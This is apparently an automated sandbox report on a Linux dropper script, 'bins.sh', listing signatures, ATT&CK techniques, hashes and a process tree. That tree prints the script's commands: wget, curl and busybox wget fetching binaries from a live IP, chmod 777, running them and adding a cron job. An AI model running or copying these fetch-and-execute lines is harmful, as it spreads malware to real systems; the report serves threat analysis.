63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b

Analysis

max time kernel
77s
max time network
186s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21-11-2024 06:51

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General

Target

bins.sh
Size

10KB
MD5

ed776e124eb62fb1ff51f657e9ccc15c
SHA1

71dbd2838563234a9ba4946f2ef500d31b5867b8
SHA256

63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b
SHA512

ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600
SSDEEP

192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1938) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
714	chmod
746	chmod
779	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	715	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	748	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	780	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Renames itself 1 IoCs

pid	Process
781	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.BnvFDf	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/857/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/3/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/108/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/261/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/655/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/790/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/820/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/963/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/874/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/895/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/922/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/944/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/958/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/25/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/853/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/656/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/855/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/872/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/969/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/8/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/836/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/845/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/939/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/266/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/929/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/818/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/962/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/15/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/829/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/850/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/960/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/110/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/649/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/826/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/880/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/892/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/966/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/111/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/786/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/827/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/952/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/799/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/802/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/813/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/970/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/979/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/12/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/844/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/949/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/961/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/2/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/654/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/805/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/808/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/819/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/904/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/933/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/943/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/18/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/20/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/41/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
File opened for reading	/proc/797/cmdline	7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	busybox
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	wget
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	busybox
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	wget
File opened for modification	/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD	busybox
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:659
- /usr/bin/wget
  wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:708
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:717
- /usr/bin/wget
  wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:780
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:782
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:783
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:784
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:785
- /bin/rm
  rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
  2⤵
  PID:790

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.BnvFDf

Filesize
210B

MD5
29cfdeae9ecaa36b51cb4b95b3780226

SHA1
2006ee98a4597bd058943542b9ea8dacb7fec35f

SHA256
c3365dfee09123b8ea94247cf28736bf3b1db8cb519c6b46fed5b46295b84ee0

SHA512
7d5ea422b44f350ac8307b72777923c5343b4af7cb096340b73a56edc5a6d25b2cb2a4540fc8353945da2e8b8c0ad29eaa56f54c3f79c2bde365ae69a493fdbd

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads